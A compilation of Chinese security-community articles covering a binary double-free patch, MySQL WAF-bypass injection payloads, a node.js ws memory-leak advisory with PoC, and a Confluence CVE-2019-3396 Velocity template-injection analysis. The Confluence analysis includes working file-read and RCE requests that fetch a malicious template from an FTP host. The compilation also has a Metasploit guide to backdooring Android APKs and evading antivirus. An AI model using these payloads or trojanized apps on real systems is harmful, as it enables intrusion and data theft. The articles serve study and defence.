* 实时显示编码的指令的长度
通过上面的分析，采用jmp跳转到.eh_frame进行指针置零操作的if-else逻辑处理，此处采用Intel指令格式的汇编。要注意的是，拖keypatch中不能编码汇编指令为二进制机器指令时候要考虑：
1. jmp , call等不能采用free,sub_xxxx，loc_xxxx的形式，即keypatch不能识别符号地址跳转，要手动指定十六进制地址，但对于ds:note[rax*8]段寻址方式是可以直接识别。
2. mov 的立即数传数不正确。有关于mov的指令格式，[参考](https://blog.csdn.net/jnu_simba/article/details/11747901)
利用keypatch对vul中double free进行修改：
1. 写入增加free后指针置零的if-else逻辑到.eh_frame，使用fill range:
mov eax, [rbp-4];
cdqe;
mov rax, ds:note[rax*8];
test rax,rax;
jz 0x400A3E; //keypatch 在跳转（jmp、call）采用十六进制地址进行（否则无法编码）
mov eax, [rbp-4];
cdqe;
mov rax, ds:note[rax*8];
mov rdi,rax;
call 0x400710;//call _free
mov eax, [rbp-4];cdqe;
mov rcx,0;
mov ds:note[rax*8],rcx;//关于mov寻址操作约定：段地址不能直接赋予立即数
jmp 0x400A48
;多条汇编指令间用;隔开成一行
先随便选取.eh_frame一段范围，写入汇编
可以看到采用Intel语法，成功Encode后的size为68
bytes，若不能成功Encode所写的汇编代码，则检查上述可能出现的语法错误。增大选中的大小写入。
2. 原binary的if-else判断前的跳转，由于长跳转占用5bytes，使用fill range:
成功写入：
3. 保存修改到文件
Edit->patch program -> apply into input files
close之后在重新打开即可看到patched的结果：
4. patch前后的大小与对fast_bin attack的防御
可以看到使用keypatch插件工作量在尽量少的情况下实现同样的防御效果，上述patched手法选用哪个都一样，看个人喜好，都是patch的一些工具。 | 社区文章 |
# SQL注入之BypassWaf
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
无论是在CTF比赛中还是在现实项目中，都会遇到各种各样的waf，没有绝对安全的系统，仔细的研究总会发现被“漏掉”的地方。
最近在研究过waf的技巧，期间还是很有趣的，在这里与大家分享一下，仅个人见解，哪里写的不好欢迎各位师傅斧正！本文只研究MySQL数据库，其余有机会在分享。
### 环境
sqli-labs
某常见最新版免费防护软件（仅作研究用）
windows2008+phpstudy
## 0x01 等价字符
空格：%20,+,(),%0a,%09,%a0,%0b,%0c,%0d,/**/等
=：like，regexp，liker，<>，！=等 （一般ctf中常见）
and：&&
or: xor，&，^，||（and或or可以相互替换，只是两边条件不同）
逗号：盲注中 from 1 for 1,联合查询中 A join B。
关于替换字符自行fuzz尝试，方法还有很多。
## 0x02 MySQL的特性
有必要了解一些MySQL的特性，这样有助于绕过waf的规则。
### =，:=，@
MySQL中“=”为等于的意思，只有在update set时为赋值的意思。
“:=”为赋值的意思。
在MySQL中变量不需要定义，利用@+变量名可直接调用。
### 注释符
在MySQL中可以使用的注释符有：
/**/ 可用于多行注释。
–(我是空格)，#。
但是在MySQL中有一个独有的特性就是注释符中叹号后面的内容仍可以解析，比如/*!and*/,并且叹号后面的数字小于或等于MySQL版本号的话同样会解析。
### 换行
在MySQL中换行后内容会继续执行
### MySQL的隐式类型转换
先看两个示例，应该就很容易明白了。
你懂我意思吧:)
## 绕waf的一些想法
前面的铺垫做完了，接下来实现一些想法。
### 判断注入点
经测试:
and //不拦截
and a //不拦截
and ！//不拦截
and 1 //拦截
可以发现，当and连接数字时waf会进行拦截，因此只需要在数字或者and与数字中间进行干扰即可。
and /*!1=1*/
and--+a%0a1/*!=*/1
and @s1ye:=1/0
注入点确定后，分别测试一下盲注与联合查询注入。
### 盲注
#### 利用MySQL变量进行盲注
在圈子看到一篇盲注的payload总结，感觉还是有些麻烦了。可以利用[@x](https://github.com/x
"@x"):=来构造一个简单的payload:
`and [@s1ye](https://github.com/s1ye "@s1ye"):=length(database/**/())`
其他payload可以利用 注释符—+加任意干扰字符加换行符%0a来进行绕过。主要的思路就是利用参数污染来干扰waf的规则。
#### 利用MySQL的隐式类型转换进行盲注
简单说一下：
select * from test where id = '1'-(length(database())>0)+'1';
即 id= 1-1+1
### 联合查询注入
union //不拦截
select //不拦截
union select //拦截
当waf拦截了哪种组合，利用注释加换行即可，效果如下所示，发现可以正常执行。
payload:
-1' union--+x%0aselect 1,2,3--+
接下来读取数据库数据
-1' union--+x%0aselect 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+
发现被拦截，fuzz发现waf会过滤掉函数，以及group_concat(table_name)
from，这里去掉from前的空格，database()=>database () 或 database/**/()。
这里也可以利用database()的0x16进制。
读取用户名密码
union--x%0aselect 1,2,group_concat(password)from users
/*/配合注释符/**/有奇效，可自行测试。
以下为整理的waf中可用的系统变量及函数：
@@version/**/
user/**/()
database/**/()
/**/@@version_compile_os
系统变量的注释符放在前后都可。
## 总结
对于绕waf，我的理解为，多了解一些数据库的特性，一些不常见小的技巧、函数等，分析waf的规则，在MySQL命令行中fuzz即可，waf规则总有漏网之鱼。
最后，文章只是记录自己学习的过程，有些payload不是很完善，仅仅是一些想法分享。 | 社区文章 |
# node.js远程内存泄露漏洞
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://nodesecurity.io/advisories/67>
译文仅供参考，具体内容表达以及含义原文为准。
**近日，在允许用户通过简单地发送ping数据帧，来分配内存的ws模块中发现存在着漏洞。该漏洞会拒绝用户发送数据的请求，
使用户发送ping数据帧功能失效，在此之前，还会加大数据帧的负载。**
实际上，这就是漏洞的具体表现。但在模块中，ws通常将我们所要传入内存的所有数据进行相应的转换，这就是漏洞之所在。我们对所要发送数据的类型都没做任何检查。当你在nide.js中需要存储一个数字时，该漏洞就会自动给数字分配一个存储大量字节的字符串空间，从而加大内存的负载。
var x = new Buffer(100);
// vs
var x = new Buffer('100');
对于只有3个有效字节的数据，系统会分配100字节的存储空间。所以当服务器要接受一个1000字节的ping数据帧时，系统就会在原来未清零的100字节的空间基础上，将剩余的空间分配给1000字节的数据帧使用，这样就会造成数据混乱，从而形成内存存储漏洞。
var ws = require('ws')
var server = new ws.Server({ port: 9000 })
var client = new ws('ws://localhost:9000')
client.on('open', function () {
console.log('open')
client.ping(50) // this makes the server return a non-zeroed buffer of 50 bytes
client.on('pong', function (data) {
console.log('got pong')
console.log(data) // a non-zeroed out allocated buffer returned from the server
})
})
有两个可以轻微地减轻这一漏洞影响的因素，它们分别是：
1.现代的任一操作系统内核在将内存页封装成为进程之前，都会对原来的内存页进行清零，从而为进入内存的新数据提供缓存空间。这就意味着，只有之前使用过的内存页和被node进程释放的数据页中的数据会被泄漏。
2.node.js通过在JavaScipt中产生一些大的内部缓冲区，并将这些大的缓冲区分为许多较小的可使用缓存块，来管理存储空间。由于会受到废弃数据的影响，这些缓存块并不存储在V8引擎上。这样做的好处就是，只有那些先前被分配作为缓冲区的内存页的数据才会被泄漏。
**引用：**
https://github.com/websockets/ws/releases/tag/1.0.1
https://github.com/nodejs/node-v0.x-archive/issues/4525 | 社区文章 |
# 恶意邮件智能监测与溯源技术研究
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。本文翻译自 [原文链接]()。如若转载请注明出处。
商务合作，文章发布请联系 [email protected]
本文由 **中睿天下** 原创发布
转载，请参考[转载声明](https://www.anquanke.com/note/repost)，注明出处：
[https://www.anquanke.com/post/id/172046](/post/id/172046)
安全客 - 有思想的安全新媒体
本文转载自: []()
如若转载,请注明出处： []()
安全客 - 有思想的安全新媒体
分享到：
* [社会工程学](/tag/社会工程学)
* [电子邮件](/tag/电子邮件)
**+1** __5赞
__收藏
中睿天下
分享到： | 社区文章 |
# 简介
Confluence Server和Confluence Data
Center的widgetconnector组件存在严重的安全漏洞，可以在不需要账号登陆的情况下进行未授权访问，精心构造恶意的JSON字符串发送给widgetconnector组件处理，可以进行任意文件读取、Velocity-SSTI远程执行任意命令。
影响版本：
* 更早 -- 6.6.12（不包含）
* 6.7.0 -- 6.12.3（不包含）
* 6.13.0 -- 6.13.3（不包含）
* 6.14.0 -- 6.14.3（不包含）
影响组件：
* widgetconnector.jar <=3.1.3
# Apache Velocity
Apache
Velocity是一个基于Java的模板引擎，它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目，旨在确保Web应用程序在表示层和业务逻辑层之间的隔离（即MVC设计模式）。
选择Confluence中使用的Velocity，添加`pom.xml`依赖：
<!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity -->
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>
## 基本语法
**语句标识符**
`#`用来标识Velocity的脚本语句，包括`#set`、`#if`
、`#else`、`#end`、`#foreach`、`#end`、`#include`、`#parse`、`#macro`等语句。
**变量**
`$`用来标识一个变量，比如模板文件中为`Hello $a`，可以获取通过上下文传递的`$a`
**声明**
`set`用于声明Velocity脚本变量，变量可以在脚本中声明
#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])
**注释**
单行注释为`##`，多行注释为成对出现的`#* ............. *#`
**逻辑运算**
== && || !
**条件语句**
以`if/else`为例：
#if($foo<10)
<strong>1</strong>
#elseif($foo==10)
<strong>2</strong>
#elseif($bar==6)
<strong>3</strong>
#else
<strong>4</strong>
#end
**单双引号**
单引号不解析引用内容，双引号解析引用内容，与PHP有几分相似
#set ($var="aaaaa")
'$var' ## 结果为：$var
"$var" ## 结果为：aaaaa
**属性**
通过`.`操作符使用变量的内容，比如获取并调用`getClass()`
#set($e="e")
$e.getClass()
**转义字符**
如果`$a`已经被定义，但是又需要原样输出`$a`，可以试用`\`转义作为关键的`$`
## 基础使用
使用Velocity主要流程为：
* 初始化Velocity模板引擎，包括模板路径、加载类型等
* 创建用于存储预传递到模板文件的数据的上下文
* 选择具体的模板文件，传递数据完成渲染
VelocityTest.java
package Velocity;
import org.apache.velocity.Template;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.VelocityEngine;
import java.io.StringWriter;
public class VelocityTest {
public static void main(String[] args) {
VelocityEngine velocityEngine = new VelocityEngine();
velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file");
velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "src/main/resources");
velocityEngine.init();
VelocityContext context = new VelocityContext();
context.put("name", "Rai4over");
context.put("project", "Velocity");
Template template = velocityEngine.getTemplate("test.vm");
StringWriter sw = new StringWriter();
template.merge(context, sw);
System.out.println("final output:" + sw);
}
}
模板文件`src/main/resources/test.vm`
Hello World! The first velocity demo.
Name is $name.
Project is $project
输出结果：
final output:
Hello World! The first velocity demo.
Name is Victor Zhang.
Project is Velocity
java.lang.UNIXProcess@12f40c25
通过`VelocityEngine`创建模板引擎，接着`velocityEngine.setProperty`设置模板路径`src/main/resources`、加载器类型为`file`，最后通过`velocityEngine.init()`完成引擎初始化。
通过`VelocityContext()`创建上下文变量，通过`put`添加模板中使用的变量到上下文。
通过`getTemplate`选择路径中具体的模板文件`test.vm`，创建`StringWriter`对象存储渲染结果，然后将上下文变量传入`template.merge`进行渲染。
## RCE
修改模板内容为恶意代码，通过`java.lang.Runtime`进行命令执行
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("touch /tmp/rai4over")
org.apache.velocity.app.VelocityEngine
引擎初始化时构造函数什么也没做，但是会调用`RuntimeInstance`，接着调用`setProperty`设置路径等参数。
org.apache.velocity.app.VelocityEngine#setProperty
`ri`就是前面的`RuntimeInstance`实例，跟进`setProperty`方法
org.apache.velocity.runtime.RuntimeInstance#setProperty
调用`setProperty(key, value)`设置键值对，最后引擎对象`init()`后为：
org.apache.velocity.VelocityContext#VelocityContext()
继续调用有构造参数
org.apache.velocity.VelocityContext#VelocityContext(java.util.Map,
org.apache.velocity.context.Context)
`this.context`被赋值为空的`HashMap()`，上下文变量创建完成。
org.apache.velocity.context.AbstractContext#put
调用`internalPut`函数
org.apache.velocity.VelocityContext#internalPut
调用`put`存入`hashMap`中，返回上层调用模板引擎对象`getTemplate`加载模板文件
org.apache.velocity.app.VelocityEngine#getTemplate(java.lang.String)
org.apache.velocity.runtime.RuntimeInstance#getTemplate(java.lang.String)
org.apache.velocity.runtime.RuntimeInstance#getTemplate(java.lang.String,
java.lang.String)
步步跟进套娃的`getTemplate`方法，然后调用`getResource`方法
org.apache.velocity.runtime.resource.ResourceManagerImpl#getResource(java.lang.String,
int, java.lang.String)
这里首先会使用资源文件名`test.vm`和资源类型`1`进行拼接为资源键名`1test.vm`，然后通过`get`方法判断`1test.vm`资源名是否在`ResourceManagerImpl`对象的`globalCache`缓存中，
org.apache.velocity.runtime.resource.ResourceCacheImpl#get
然后进一步判断`ResourceCacheImpl`对象的`cache`成员并返回判断结果。
如果资源`1test.vm`被缓存命中则直接加载，如果`globalCache`缓存获取失败则调用`loadResource`函数加载，加载成功后也同样会根据`1test.vm`资源键名放入`globalCache`以便下次查找。
org.apache.velocity.runtime.resource.ResourceManagerImpl#loadResource
根据资源名称、类型通过`createResource`生成资源加载器，然后调用`process()`从当前资源加载器集中加载资源。
org.apache.velocity.Template#process
public boolean process()
throws ResourceNotFoundException, ParseErrorException
{
data = null;
InputStream is = null;
errorCondition = null;
/*
* first, try to get the stream from the loader
*/
try
{
is = resourceLoader.getResourceStream(name);
}
catch( ResourceNotFoundException rnfe )
{
/*
* remember and re-throw
*/
errorCondition = rnfe;
throw rnfe;
}
/*
* if that worked, lets protect in case a loader impl
* forgets to throw a proper exception
*/
if (is != null)
{
/*
* now parse the template
*/
try
{
BufferedReader br = new BufferedReader( new InputStreamReader( is, encoding ) );
data = rsvc.parse( br, name);
initDocument();
return true;
}
`getResourceStream(name)`获取命名资源作为流，进行解析和初始化
最后将解析后的模板AST-node放入data中并层层返回，然后调用`template.merge`进行合并渲染。
org.apache.velocity.Template#merge(org.apache.velocity.context.Context,
java.io.Writer)
org.apache.velocity.Template#merge(org.apache.velocity.context.Context,
java.io.Writer, java.util.List)
这里是上面提到的`ASTprocess`类的`data`，并调用`render`进行渲染
org.apache.velocity.runtime.parser.node.SimpleNode#render
node通过层层解析，最终通过反射完成任恶意命令执行，整体的调用栈如下：
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:395, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:384, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
execute:173, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:280, ASTReference (org.apache.velocity.runtime.parser.node)
render:369, ASTReference (org.apache.velocity.runtime.parser.node)
render:342, SimpleNode (org.apache.velocity.runtime.parser.node)
merge:356, Template (org.apache.velocity)
merge:260, Template (org.apache.velocity)
main:25, VelocityTest (Velocity)
# Confluence-SSTI
## 环境搭建
直接使用vulhub环境
https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396
设置`docker-compose.yml`
version: '2'
services:
web:
image: vulhub/confluence:6.10.2
ports:
- "8888:8090"
- "9999:9999"
depends_on:
- db
db:
image: postgres:10.7-alpine
environment:
- POSTGRES_PASSWORD=postgres
- POSTGRES_DB=confluence
`9999`端口是用于`jdwp`远程调试的映射端口，`8888`是Web服务的映射端口
启动容器`docker-compose up -d`，然后`root`权限进入容器`docker exec -u root -it 467b4e03119d
bash`
修改配置文件`setenv.sh`，开启`Confluence`的远程调试
vi /opt/atlassian/confluence/bin/setenv.sh
在配置文件的最后添加：
重启Confluence容器`docker-compose restart`，调试端口就开启了，接下来配置IDEA。
首先将容器中的Confluence复制出来
docker cp 467b4e03119d:/opt/atlassian/confluence/ test
提取全部的jar
find ./test -name "*.jar" -exec cp {} ./confluence_jar/ \;
添加jar到项目
为了调试中的字节码匹配，复制出容器中使用的JDK
docker cp 467b4e03119d:/usr/lib/jvm/java-1.8-openjdk confluence-java-1.8-openjdk
将其设置为项目的JDK
IDEA远程调试配置如下
IDEA-DEBUG端口连接成功则表示调试环境无误。
## 漏洞复现
### 文件读取
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8888/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 231
{
"contentId": "786458",
"macro": {
"name": "widget",
"body": "",
"params": {
"url": "https://metacafe.com/v/23464dc6",
"width": "1000",
"height": "1000",
"_template": "file:///etc/passwd"
}
}
}
### 远程命令执行
通过python开启FTP
python2 -m pyftpdlib -p 21
并放入恶意的`exp.vm`模板文件
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
$scan.next()
#end
利用`java.lang.Process`执行命令并利用`java.io.InputStream`获取回显。
发送包含模板文件的URL、欲执行的命令的请求
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8888/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 262
{
"contentId": "786458",
"macro": {
"name": "widget",
"body": "",
"params": {
"url": "https://metacafe.com/v/23464dc6",
"width": "1000",
"height": "1000",
"_template": "ftp://192.168.100.109/exp.vm",
"cmd":"ls"
}
}
}
## Gadget chain
根据漏洞描述的`widgetconnector`组件和`java.lang.Runtime`执行命令的断点，找到漏洞流程入口
com.atlassian.confluence.extra.widgetconnector.WidgetMacro#execute(java.util.Map<java.lang.String,java.lang.String>,
java.lang.String,
com.atlassian.confluence.content.render.xhtml.ConversionContext)
这里将JSON数据都存储在`parameters`中，其中url键值通过`RenderUtils.getParameter`提取出来，并将各个参数传入`this.renderManager.getEmbeddedHtml(url,
parameters)`
com.atlassian.confluence.extra.widgetconnector.DefaultRenderManager#getEmbeddedHtml
这里对`this.renderSupporter`对象包含很多渲染类
对应具体目录为
迭代该对象的元素并在if条件中进行判断，通过调用了`widgetRenderer`类的`matches`方法进行判断
com.atlassian.confluence.extra.widgetconnector.video.MetacafeRenderer#matches
POC中会调用`MetacafeRenderer`类的`matches`方法，通过`contains`方法判断是否包含硬编码的`metacafe.com`，因为参数中包含因此能够进入`if`分支，并继续调用`getEmbeddedHtml`方法
com.atlassian.confluence.extra.widgetconnector.video.MetacafeRenderer#getEmbeddedHtml
传入`getEmbeddedHtml`的参数为可控的`params`，除了`metacafe.com`，还有其他的渲染类也能满足
GoogleVideoRenderer
EpisodicRenderer
继续跟进到`DefaultVelocityRenderService`对象的`render`方法
com/atlassian/confluence/extra/widgetconnector/services/DefaultVelocityRenderService.class:60
继续跟进`getRenderedTemplate`
com.atlassian.confluence.extra.widgetconnector.services.DefaultVelocityRenderService#getRenderedTemplate
com.atlassian.confluence.util.velocity.VelocityUtils#getRenderedTemplate(java.lang.String,
java.util.Map<?,?>)
com.atlassian.confluence.util.velocity.VelocityUtils#getRenderedTemplate(java.lang.String,
org.apache.velocity.context.Context)
com.atlassian.confluence.util.velocity.VelocityUtils#getRenderedTemplateWithoutSwallowingErrors(java.lang.String,
org.apache.velocity.context.Context)
将远程模板`ftp://192.168.50.63/exp.vm`和环境变量层层传递，创建`StringWriter`用于存储结果，继续跟进`renderTemplateWithoutSwallowingErrors`函数
com.atlassian.confluence.util.velocity.VelocityUtils#renderTemplateWithoutSwallowingErrors(java.lang.String,
org.apache.velocity.context.Context, java.io.Writer)
继续跟进
com.atlassian.confluence.util.velocity.VelocityUtils#getTemplate
先跟进`getVelocityEngine()`看结果
com.atlassian.confluence.util.velocity.VelocityUtils#getVelocityEngine
返回生成并返回一个模板引擎对象，并继续调用`getTemplate`函数
org.apache.velocity.app.VelocityEngine#getTemplate(java.lang.String,
java.lang.String)
远程加载模板，过程和上面一样包括初始化加载器、加入缓存等等，不再跟进,向上层层返回模板对象
com.atlassian.confluence.util.velocity.VelocityUtils#renderTemplateWithoutSwallowingErrors(java.lang.String,
org.apache.velocity.context.Context, java.io.Writer)
跟进`renderTemplateWithoutSwallowingErrors`函数
com.atlassian.confluence.util.velocity.VelocityUtils#renderTemplateWithoutSwallowingErrors(org.apache.velocity.Template,
org.apache.velocity.context.Context, java.io.Writer)
这里使用模板对象进行合并操作，完成恶意命令执行，最后的调用栈为：
exec:443, Runtime (java.lang)
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:385, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:374, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:28, UnboxingMethod (com.atlassian.velocity.htmlsafe.introspection)
execute:270, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:262, ASTReference (org.apache.velocity.runtime.parser.node)
value:507, ASTReference (org.apache.velocity.runtime.parser.node)
value:71, ASTExpression (org.apache.velocity.runtime.parser.node)
render:142, ASTSetDirective (org.apache.velocity.runtime.parser.node)
render:336, SimpleNode (org.apache.velocity.runtime.parser.node)
merge:328, Template (org.apache.velocity)
merge:235, Template (org.apache.velocity)
renderTemplateWithoutSwallowingErrors:68, VelocityUtils (com.atlassian.confluence.util.velocity)
renderTemplateWithoutSwallowingErrors:76, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplateWithoutSwallowingErrors:59, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplate:38, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplate:29, VelocityUtils (com.atlassian.confluence.util.velocity)
getRenderedTemplate:78, DefaultVelocityRenderService (com.atlassian.confluence.extra.widgetconnector.services)
render:72, DefaultVelocityRenderService (com.atlassian.confluence.extra.widgetconnector.services)
getEmbeddedHtml:42, MetacafeRenderer (com.atlassian.confluence.extra.widgetconnector.video)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeJoinpointUsingReflection:302, AopUtils (org.springframework.aop.support)
doInvoke:56, ServiceInvoker (org.eclipse.gemini.blueprint.service.importer.support.internal.aop)
invoke:60, ServiceInvoker (org.eclipse.gemini.blueprint.service.importer.support.internal.aop)
proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework)
doProceed:133, DelegatingIntroductionInterceptor (org.springframework.aop.support)
invoke:121, DelegatingIntroductionInterceptor (org.springframework.aop.support)
proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework)
invokeUnprivileged:70, ServiceTCCLInterceptor (org.eclipse.gemini.blueprint.service.util.internal.aop)
invoke:53, ServiceTCCLInterceptor (org.eclipse.gemini.blueprint.service.util.internal.aop)
proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework)
invoke:57, LocalBundleContextAdvice (org.eclipse.gemini.blueprint.service.importer.support)
proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework)
doProceed:133, DelegatingIntroductionInterceptor (org.springframework.aop.support)
invoke:121, DelegatingIntroductionInterceptor (org.springframework.aop.support)
proceed:179, ReflectiveMethodInvocation (org.springframework.aop.framework)
invoke:208, JdkDynamicAopProxy (org.springframework.aop.framework)
getEmbeddedHtml:-1, $Proxy1665 (com.sun.proxy)
getEmbeddedHtml:32, DefaultRenderManager (com.atlassian.confluence.extra.widgetconnector)
execute:73, WidgetMacro (com.atlassian.confluence.extra.widgetconnector)
# 参考
<https://xz.aliyun.com/t/7466>
<https://www.jianshu.com/p/378827f1dfc8>
[http://blog.leanote.com/post/zhangyongbo/Velocity%E8%AF%AD%E6%B3%95](http://blog.leanote.com/post/zhangyongbo/Velocity语法)
<https://www.cnblogs.com/yangzhinian/p/4885973.html>
[https://caiqiqi.github.io/2019/11/03/Confluence%E6%9C%AA%E6%8E%88%E6%9D%83%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5-%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-CVE-2019-3396/](https://caiqiqi.github.io/2019/11/03/Confluence未授权模板注入-代码执行-CVE-2019-3396/)
[https://lucifaer.com/2019/04/16/Confluence%20%E6%9C%AA%E6%8E%88%E6%9D%83RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2019-3396%EF%BC%89/](https://lucifaer.com/2019/04/16/Confluence
未授权RCE分析（CVE-2019-3396）/) | 社区文章 |
# 【技术分享】手把手教你如何向Andoird应用中注入Metasploit载荷
##### 译文声明
本文是翻译文章，文章来源：pentestlab.blog
原文地址：<https://pentestlab.blog/2017/03/13/injecting-metasploit-payloads-into-android-applications/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[pwn_361](http://bobao.360.cn/member/contribute?uid=2798962642)
稿费：100RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
为了渗透用户的实际设备，将合法的安卓应用程序作为一个木马来使用是有可能的。正好，现在Metasploit框架已经有了这样的能力。可以将Metasploit载荷注入到Android应用(APK)中，该过程可以手动完成，也可以自动完成。这篇文章将主要探讨自动注入过程。当然，如果时间宽裕，使用手动方法也是可以考虑的。
**生成载荷**
可以使用Metasploit生成安卓渗透载荷，并将文件存储为APK格式，如下图所示：
**将载荷注入到APK中**
将刚才生成的载荷注入到一个安卓应用中之前，需要先有一个目标安卓应用程序(APK文件)。如果该应用已经安装在手机中，那么这篇文章“[Retrieving
APK Files](https://pentestlab.blog/2017/01/30/retrieving-apk-files/)”可以当作从手机中提取APK文件的一个指南，当然，也可以从谷歌应用商店中直接下载应用。
有很多公开的脚本可以将Metasploit载荷注入到一个安卓应用中。然而，在某些特定的场景中，为了创建、并自动注入Metasploit载荷，也可以使用msfvenom工具，如下图示例所示：
Msfvenom会对该应用程序进行反编译，然后会找到可以注入载荷的钩子点。进一步，它会利用可用于后渗透活动的附加权限使该应用程序的Android清单文件染毒。下图为输出结果：
当然，使用Msfvenom执行载荷注入不是本文的主要目的，在本文中，我们使用[apkinjector](https://github.com/jbreed/apkinjector)工具执行载荷注入活动，其它可以用于此目的的脚本还有以下几个：
1.[Metasploit APK Embed Payload](https://github.com/xc0d3rz/metasploit-apk-embed-payload)
2.[APK Payload Injector](https://github.com/SkullTech/apk-payload-injector)
3.[Backdoor APK](https://github.com/dana-at-cp/backdoor-apk)
注意：为了演示目的，在这篇文章中，我们使用了一个真实的安卓应用程序，并起了一个显著的名称“target.apk”。
Apkinjector将会使用apktool工具完全反编译目标安卓应用程序，并将载荷注入到程序中，然后，Apkinjector会重新编译应用程序，并签名。下图是Apkinjector部分解码过程：
Apkinjector将会尝试在文件中注入载荷，并再次使用apktool工具编译应用程序，并对应用程序签名。如下图：
当然，为了收到载荷成功执行后返回的信息，我们还需要开启一个Metasploit监听：
然后，目标用户在他的手机中安装、并打开了修改过的APK，于是，该载荷会被执行，并会返回一个Meterpreter会话。
在成功返回Meterpreter会话以后，存在很多可以使用的命令，可用于检查目标设备是否已经root、或下载联系人列表、接收该手机的短信消息、或者使用手机相机拍个照片。所有这些活动依赖该安卓应用程序(被注入了载荷)的权限，它已经在安卓清单文件中定义了。
**载荷免杀**
如果目标设备中安装了反病毒软件，有可能会造成载荷在设备中被阻止，无法运行。不过，在[APKwash](https://github.com/jbreed/apkwash)工具的帮助下，避开杀毒软件是有可能的。该脚本为了避开杀毒软件，会修改所有字符串和文件结构，然后利用apktool工具重建安装包。
免杀效果可以通过将APK上传到nodistribute.com网站来验证：
从上表中可知，只有卡巴斯基一个安全厂商有能力探测到该恶意APK，这增加了该恶意APK成功的可能性。其它工具，如Veil和Shelter也可用于高效的免杀。 | 社区文章 |
# 破一桩疑案——硬件错误
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0、引言
这次分析的问题 ，与熊力书中遇到的一个案例特别类似，分析之余，发现还是有很多思路以及很多新奇的知识可以记录下来，与君分享。
涉及到以下知识点：
1、硬件断点的使用；
2、硬件cpuid指令与dmp中相关信息的查询；
3、dmp分析的一般思想方法；
4、虚拟内存的VAD树和页表；
## 1、背景
这次的dmp次数不多，目前根据后台聚类之后的结果，同类的只有一次。本来可以不用操心之，但谁让咸吃萝卜淡操心的我就喜欢干这个事呢。分析之后，确实发现了一个很奇怪的事情，安推论这种情况出现的概率是极其小的，基本不该发生，可偏偏就发生了，与我之前在熊力书中所看过的一个案例极其相似——硬件故障。敢下这个结论，也是极其小心，做了很多事情的。具体分析，且看下文。
## 2、分析过程
2.1
step1：看一下异常记录，如下，为了规避具体哪款软件触发的crash，这里隐藏掉相关信息，包括进程的各个模块名，代之以AppModule,AppExe这样的名字；
0:030> .exr -1
ExceptionAddress: 51212dae (VCRUNTIME140!memmove+0x0000004e)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 04c86000
Attempt to write to address 04c86000
